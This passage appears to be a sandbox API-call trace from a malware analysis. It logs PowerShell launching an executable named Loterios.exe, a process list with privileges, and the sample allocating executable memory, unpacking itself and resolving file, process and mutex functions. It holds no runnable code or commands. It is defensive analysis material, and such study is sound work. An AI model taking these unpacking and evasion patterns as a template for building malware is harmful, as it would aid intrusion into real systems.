lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0200.912] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0200.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4ccf0) returned 1 [0200.912] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4cdd0 | out: lpFileInformation=0x5bfed4cdd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0200.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4ccb0) returned 1 [0200.916] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0201.353] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0201.353] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0201.353] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0201.353] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0201.353] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0201.353] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0201.635] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc98 | out: phkResult=0x5bfed4dc98*=0x77c) returned 0x0 [0201.635] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dce8, lpData=0x0, lpcbData=0x5bfed4dce0*=0x0 | out: lpType=0x5bfed4dce8*=0x1, lpData=0x0, lpcbData=0x5bfed4dce0*=0x56) returned 0x0 [0201.635] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dce8, lpData=0x1ef006bf718, lpcbData=0x5bfed4dce0*=0x56 | out: lpType=0x5bfed4dce8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dce0*=0x56) returned 0x0 [0201.635] RegCloseKey (hKey=0x77c) returned 0x0 [0201.636] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc98 | out: phkResult=0x5bfed4dc98*=0x77c) returned 0x0 [0201.636] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dce8, lpData=0x0, lpcbData=0x5bfed4dce0*=0x0 | out: lpType=0x5bfed4dce8*=0x1, lpData=0x0, lpcbData=0x5bfed4dce0*=0x56) returned 0x0 [0201.636] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dce8, lpData=0x1ef006bfac0, lpcbData=0x5bfed4dce0*=0x56 | out: lpType=0x5bfed4dce8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dce0*=0x56) returned 0x0 [0201.636] RegCloseKey (hKey=0x77c) returned 0x0 [0201.637] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc98 | out: phkResult=0x5bfed4dc98*=0x77c) returned 0x0 [0201.637] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dce8, lpData=0x0, lpcbData=0x5bfed4dce0*=0x0 | out: lpType=0x5bfed4dce8*=0x1, lpData=0x0, lpcbData=0x5bfed4dce0*=0x56) returned 0x0 [0201.637] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dce8, lpData=0x1ef006bfe40, lpcbData=0x5bfed4dce0*=0x56 | out: lpType=0x5bfed4dce8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dce0*=0x56) returned 0x0 [0201.637] RegCloseKey (hKey=0x77c) returned 0x0 [0201.637] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc98 | out: phkResult=0x5bfed4dc98*=0x77c) returned 0x0 [0201.637] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dce8, lpData=0x0, lpcbData=0x5bfed4dce0*=0x0 | out: lpType=0x5bfed4dce8*=0x1, lpData=0x0, lpcbData=0x5bfed4dce0*=0x56) returned 0x0 [0201.638] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dce8, lpData=0x1ef006c01e8, lpcbData=0x5bfed4dce0*=0x56 | out: lpType=0x5bfed4dce8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dce0*=0x56) returned 0x0 [0201.638] RegCloseKey (hKey=0x77c) returned 0x0 [0201.638] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dcc8 | out: phkResult=0x5bfed4dcc8*=0x77c) returned 0x0 [0201.638] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dd18, lpData=0x0, lpcbData=0x5bfed4dd10*=0x0 | out: lpType=0x5bfed4dd18*=0x1, lpData=0x0, lpcbData=0x5bfed4dd10*=0x56) returned 0x0 [0201.638] RegQueryValueExW (in: hKey=0x77c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dd18, lpData=0x1ef006c0568, lpcbData=0x5bfed4dd10*=0x56 | out: lpType=0x5bfed4dd18*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dd10*=0x56) returned 0x0 [0201.638] RegCloseKey (hKey=0x77c) returned 0x0 [0201.638] EtwEventActivityIdControl () returned 0x0 [0201.639] SetEvent (hEvent=0x764) returned 1 [0201.639] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bfed4e050*=0x764, lpdwindex=0x5bfed4de24 | out: lpdwindex=0x5bfed4de24) returned 0x0 [0201.639] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bfed4e1b0, nSize=0xbc | out: lpBuffer="⚠\x06ǯ") returned 0x0 [0201.647] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5a8, lpConsoleScreenBufferInfo=0x5bfed4e338 | out: lpConsoleScreenBufferInfo=0x5bfed4e338) returned 1 [0201.648] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5a8, lpConsoleScreenBufferInfo=0x5bfed4e338 | out: lpConsoleScreenBufferInfo=0x5bfed4e338) returned 1 [0201.789] EtwEventActivityIdControl () returned 0x0 [0201.789] EtwEventActivityIdControl () returned 0x0 [0201.789] EtwEventActivityIdControl () returned 0x0 [0201.839] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bfed4e240, nSize=0xbc | out: lpBuffer="⚠\x06ǯ") returned 0x0 [0201.842] GetFileAttributesW (lpFileName="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe")) returned 0x20 [0201.844] GetFullPathNameW (in: lpFileName="C:\\BlotRots\\Loterios.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0201.844] GetFullPathNameW (in: lpFileName="C:\\BlotRots\\Loterios.exe", nBufferLength=0x19, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\BlotRots\\Loterios.exe", lpFilePart=0x0) returned 0x18 [0201.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e250) returned 1 [0201.844] GetFileAttributesExW (in: lpFileName="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e330 | out: lpFileInformation=0x5bfed4e330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfc9d70, ftCreationTime.dwHighDateTime=0x1d6747d, ftLastAccessTime.dwLowDateTime=0xcdfc9d70, ftLastAccessTime.dwHighDateTime=0x1d6747d, ftLastWriteTime.dwLowDateTime=0xcf40dc42, ftLastWriteTime.dwHighDateTime=0x1d6747d, nFileSizeHigh=0x0, nFileSizeLow=0xd27b8)) returned 1 [0201.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e210) returned 1 [0201.845] GetFileAttributesW (lpFileName="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe")) returned 0x20 [0201.850] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0201.907] LocalAlloc (uFlags=0x0, uBytes=0x32) returned 0x1ef70495af0 [0201.907] LocalAlloc (uFlags=0x0, uBytes=0x28) returned 0x1ef70373f00 [0201.911] ShellExecuteExW (in: pExecInfo=0x1ef006e39b8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\BlotRots\\Loterios.exe", lpParameters=0x0, lpDirectory="C:\\WINDOWS\\system32", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x1ef006e39b8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\BlotRots\\Loterios.exe", lpParameters=0x0, lpDirectory="C:\\WINDOWS\\system32", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x9cc)) returned 1 [0203.147] LocalFree (hMem=0x1ef70495af0) returned 0x0 [0203.148] LocalFree (hMem=0x1ef70373f00) returned 0x0 [0203.148] EtwEventActivityIdControl () returned 0x0 [0203.154] EtwEventActivityIdControl () returned 0x0 [0203.154] EtwEventActivityIdControl () returned 0x0 [0203.154] EtwEventActivityIdControl () returned 0x0 [0203.154] EtwEventActivityIdControl () returned 0x0 [0203.156] SetEvent (hEvent=0x68c) returned 1 [0203.156] SetEvent (hEvent=0x680) returned 1 [0203.156] SetEvent (hEvent=0x684) returned 1 [0203.156] SetEvent (hEvent=0x688) returned 1 [0203.157] SetEvent (hEvent=0x69c) returned 1 [0203.157] SetEvent (hEvent=0x690) returned 1 [0203.157] SetEvent (hEvent=0x694) returned 1 [0203.157] SetEvent (hEvent=0x698) returned 1 [0203.157] SetEvent (hEvent=0x6a0) returned 1 [0203.180] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bfed4f090*=0x6a8, lpdwindex=0x5bfed4ee64 | out: lpdwindex=0x5bfed4ee64) returned 0x0 [0203.181] SetThreadUILanguage (LangId=0x0) returned 0x409 [0203.385] CoCreateGuid (in: pguid=0x5bfed4ef88 | out: pguid=0x5bfed4ef88*(Data1=0x5f482e09, Data2=0xbca2, Data3=0x4db4, Data4=([0]=0xb2, [1]=0x80, [2]=0xa8, [3]=0xf6, [4]=0xa3, [5]=0x6d, [6]=0x1f, [7]=0x2a))) returned 0x0 [0203.386] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfed4eef8 | out: lpPerformanceCount=0x5bfed4eef8*=29937369223) returned 1 [0203.386] AmsiOpenSession () returned 0x0 [0203.386] AmsiScanString () returned 0x80070015 [0206.092] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfed4eeb8 | out: lpPerformanceCount=0x5bfed4eeb8*=30208822457) returned 1 [0206.101] EtwEventActivityIdControl () returned 0x0 [0206.101] EtwEventActivityIdControl () returned 0x0 [0206.101] EtwEventActivityIdControl () returned 0x0 [0206.118] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x5bfed4e710*=0x9c8, lpdwindex=0x5bfed4e504 | out: lpdwindex=0x5bfed4e504) returned 0x0 [0206.332] SetEvent (hEvent=0x9c0) returned 1 [0206.332] SetEvent (hEvent=0x9c8) returned 1 [0206.332] EtwEventActivityIdControl () returned 0x0 [0206.333] SetEvent (hEvent=0x9e4) returned 1 [0206.333] SetEvent (hEvent=0x9c0) returned 1 [0206.333] SetEvent (hEvent=0x9c8) returned 1 [0206.333] SetEvent (hEvent=0x9f0) returned 1 [0206.333] SetEvent (hEvent=0x9e0) returned 1 [0206.333] SetEvent (hEvent=0x9e8) returned 1 [0206.333] SetEvent (hEvent=0x9ec) returned 1 [0206.333] SetEvent (hEvent=0x9f4) returned 1 [0206.341] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bfed4f090*=0x6a8, lpdwindex=0x5bfed4ee64 | out: lpdwindex=0x5bfed4ee64) returned 0x0 [0209.218] CoGetContextToken (in: pToken=0x5bfed4f930 | out: pToken=0x5bfed4f930) returned 0x0 [0209.219] CoUninitialize () Thread: id = 320 os_tid = 0xcc4 Thread: id = 321 os_tid = 0xe20 [0191.767] CoGetContextToken (in: pToken=0x5bfedcfc60 | out: pToken=0x5bfedcfc60) returned 0x0 [0191.767] CObjectContext::QueryInterface () returned 0x0 [0191.767] CObjectContext::GetCurrentThreadType () returned 0x0 [0191.767] Release () returned 0x0 [0191.767] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0191.767] RoInitialize () returned 0x1 [0191.767] RoUninitialize () returned 0x0 [0191.767] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0191.768] SleepEx (dwMilliseconds=0x2710, bAlertable=1) returned 0x0 [0201.809] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0201.867] SleepEx (dwMilliseconds=0x12c, bAlertable=1) returned 0x0 [0202.198] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0203.196] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0206.349] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0210.405] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) Thread: id = 322 os_tid = 0xdfc Thread: id = 323 os_tid = 0x115c Thread: id = 324 os_tid = 0x428 Thread: id = 325 os_tid = 0x830 [0198.765] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0198.765] RoInitialize () returned 0x1 [0198.765] RoUninitialize () returned 0x0 [0198.770] ResetEvent (hEvent=0x7a4) returned 1 Thread: id = 326 os_tid = 0x538 Thread: id = 327 os_tid = 0xdac Thread: id = 329 os_tid = 0xff4 Process: id = "17" image_name = "mpcmdrun.exe" filename = "c:\\program files\\windows defender\\mpcmdrun.exe" page_root = "0x2fb58000" os_pid = "0xb70" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x3e0" cmd_line = "\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -wdenable" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AJRouter" [0xa], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Dhcp" [0xe], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\RmSvc" [0xa], "NT SERVICE\\TimeBrokerSvc" [0xe], "NT SERVICE\\TimeBroker" [0xe], "NT SERVICE\\vmictimesync" [0xa], "S-1-5-80-1495648203-2503502111-1597754693-3445174711-1316708627" [0xa], "NT SERVICE\\wscsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000a40c" [0xc000000f], "LOCAL" [0x7] Thread: id = 300 os_tid = 0xb9c Thread: id = 309 os_tid = 0xb98 Thread: id = 310 os_tid = 0xbd4 Thread: id = 311 os_tid = 0xbc0 Thread: id = 312 os_tid = 0xbec Thread: id = 313 os_tid = 0xcac Thread: id = 314 os_tid = 0xc10 Process: id = "18" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xc097000" os_pid = "0xb7c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0xb70" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AJRouter" [0xa], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Dhcp" [0xe], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\RmSvc" [0xa], "NT SERVICE\\TimeBrokerSvc" [0xe], "NT SERVICE\\TimeBroker" [0xe], "NT SERVICE\\vmictimesync" [0xa], "S-1-5-80-1495648203-2503502111-1597754693-3445174711-1316708627" [0xa], "NT SERVICE\\wscsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000a40c" [0xc000000f], "LOCAL" [0x7] Thread: id = 303 os_tid = 0xbc8 Thread: id = 304 os_tid = 0xbc4 Thread: id = 305 os_tid = 0xc28 Thread: id = 307 os_tid = 0x1ec Thread: id = 308 os_tid = 0x10bc Process: id = "19" image_name = "loterios.exe" filename = "c:\\blotrots\\loterios.exe" page_root = "0x19e6c000" os_pid = "0xe40" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x1328" cmd_line = "\"C:\\BlotRots\\Loterios.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 328 os_tid = 0x13d0 [0210.153] VirtualAlloc (lpAddress=0x0, dwSize=0xcf000, flAllocationType=0x1000, flProtect=0x40) returned 0x20a0000 [0210.385] VirtualAlloc (lpAddress=0x0, dwSize=0x32e10, flAllocationType=0x1000, flProtect=0x4) returned 0x520000 [0210.385] VirtualProtect (in: lpAddress=0x400000, dwSize=0xcf000, flNewProtect=0x40, lpflOldProtect=0x21630a8 | out: lpflOldProtect=0x21630a8*=0x2) returned 1 [0210.393] GetVersion () returned 0x23f00206 [0210.943] GetTickCount () returned 0x117575a [0210.943] OleUIConvertA () returned 0x65 [0210.973] OleUIConvertW () returned 0x65 [0211.688] OleUIBusyA () returned 0x65 [0211.688] OleUIBusyA () returned 0x65 [0211.688] GetTickCount () returned 0x1175a38 [0211.688] OleUninitialize () [0212.158] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x21630a8 | out: lpflOldProtect=0x21630a8*=0x40) returned 1 [0212.180] GetProcessId (Process=0x0) returned 0x0 [0212.180] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0212.180] LoadLibraryA (lpLibFileName="USERENV.dll") returned 0x74080000 [0213.411] GetProcAddress (hModule=0x74080000, lpProcName="GetUserProfileDirectoryW") returned 0x740849b0 [0213.411] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0213.411] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x772b0000 [0213.411] GetProcAddress (hModule=0x772b0000, lpProcName="CoSetProxyBlanket") returned 0x76a59510 [0213.412] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeSecurity") returned 0x76a89710 [0213.412] GetProcAddress (hModule=0x772b0000, lpProcName="CoUninitialize") returned 0x76a722b0 [0213.412] GetProcAddress (hModule=0x772b0000, lpProcName="CoCreateInstance") returned 0x76a37490 [0213.412] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeEx") returned 0x76a72590 [0213.412] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitialize") returned 0x772e6a60 [0213.412] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0213.412] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x74720000 [0226.443] GetProcAddress (hModule=0x74720000, lpProcName="CommandLineToArgvW") returned 0x7487cc20 [0226.443] GetProcAddress (hModule=0x74720000, lpProcName="SHGetFolderPathW") returned 0x748788f0 [0226.443] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0226.443] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74560000 [0226.444] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0226.444] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcessId") returned 0x745cea20 [0226.444] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableW") returned 0x74574fb0 [0226.444] GetProcAddress (hModule=0x74560000, lpProcName="WideCharToMultiByte") returned 0x74576b10 [0226.444] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatA") returned 0x745b70c0 [0226.444] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableA") returned 0x74574f90 [0226.445] GetProcAddress (hModule=0x74560000, lpProcName="MultiByteToWideChar") returned 0x74575c40 [0226.445] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenW") returned 0x74576c70 [0226.445] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatW") returned 0x745b71a0 [0226.445] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyA") returned 0x745b7060 [0226.445] GetProcAddress (hModule=0x74560000, lpProcName="HeapAlloc") returned 0x77822dc0 [0226.445] GetProcAddress (hModule=0x74560000, lpProcName="HeapFree") returned 0x745757f0 [0226.445] GetProcAddress (hModule=0x74560000, lpProcName="HeapCreate") returned 0x745757b0 [0226.445] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAlloc") returned 0x74576970 [0226.446] GetProcAddress (hModule=0x74560000, lpProcName="GetFileSize") returned 0x745cef30 [0226.446] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiA") returned 0x74576bd0 [0226.446] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0226.446] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcess") returned 0x745cea10 [0226.446] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleW") returned 0x745750d0 [0226.446] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryW") returned 0x74575ae0 [0226.446] GetProcAddress (hModule=0x74560000, lpProcName="CopyFileW") returned 0x745cf3b0 [0226.446] GetProcAddress (hModule=0x74560000, lpProcName="TerminateProcess") returned 0x745767e0 [0226.447] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileW") returned 0x745ced40 [0226.447] GetProcAddress (hModule=0x74560000, lpProcName="ResumeThread") returned 0x74576380 [0226.447] GetProcAddress (hModule=0x74560000, lpProcName="GetComputerNameW") returned 0x745a32c0 [0226.447] GetProcAddress (hModule=0x74560000, lpProcName="ReleaseMutex") returned 0x745cec20 [0226.447] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeProcess") returned 0x74573c60 [0226.447] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableW") returned 0x745764e0 [0226.447] GetProcAddress (hModule=0x74560000, lpProcName="GetTickCount") returned 0x745cdd50 [0226.447] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameW") returned 0x74575090 [0226.448] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemInfo") returned 0x745754d0 [0226.448] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableA") returned 0x745764c0 [0226.448] GetProcAddress (hModule=0x74560000, lpProcName="GetVersionExA") returned 0x745756d0 [0226.448] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0226.448] GetProcAddress (hModule=0x74560000, lpProcName="SetEvent") returned 0x745cec50 [0226.448] GetProcAddress (hModule=0x74560000, lpProcName="OpenEventA") returned 0x745cebd0 [0226.448] GetProcAddress (hModule=0x74560000, lpProcName="CreateMutexA") returned 0x745ceb40 [0226.448] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThread") returned 0x74578810 [0226.448] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0226.449] GetProcAddress (hModule=0x74560000, 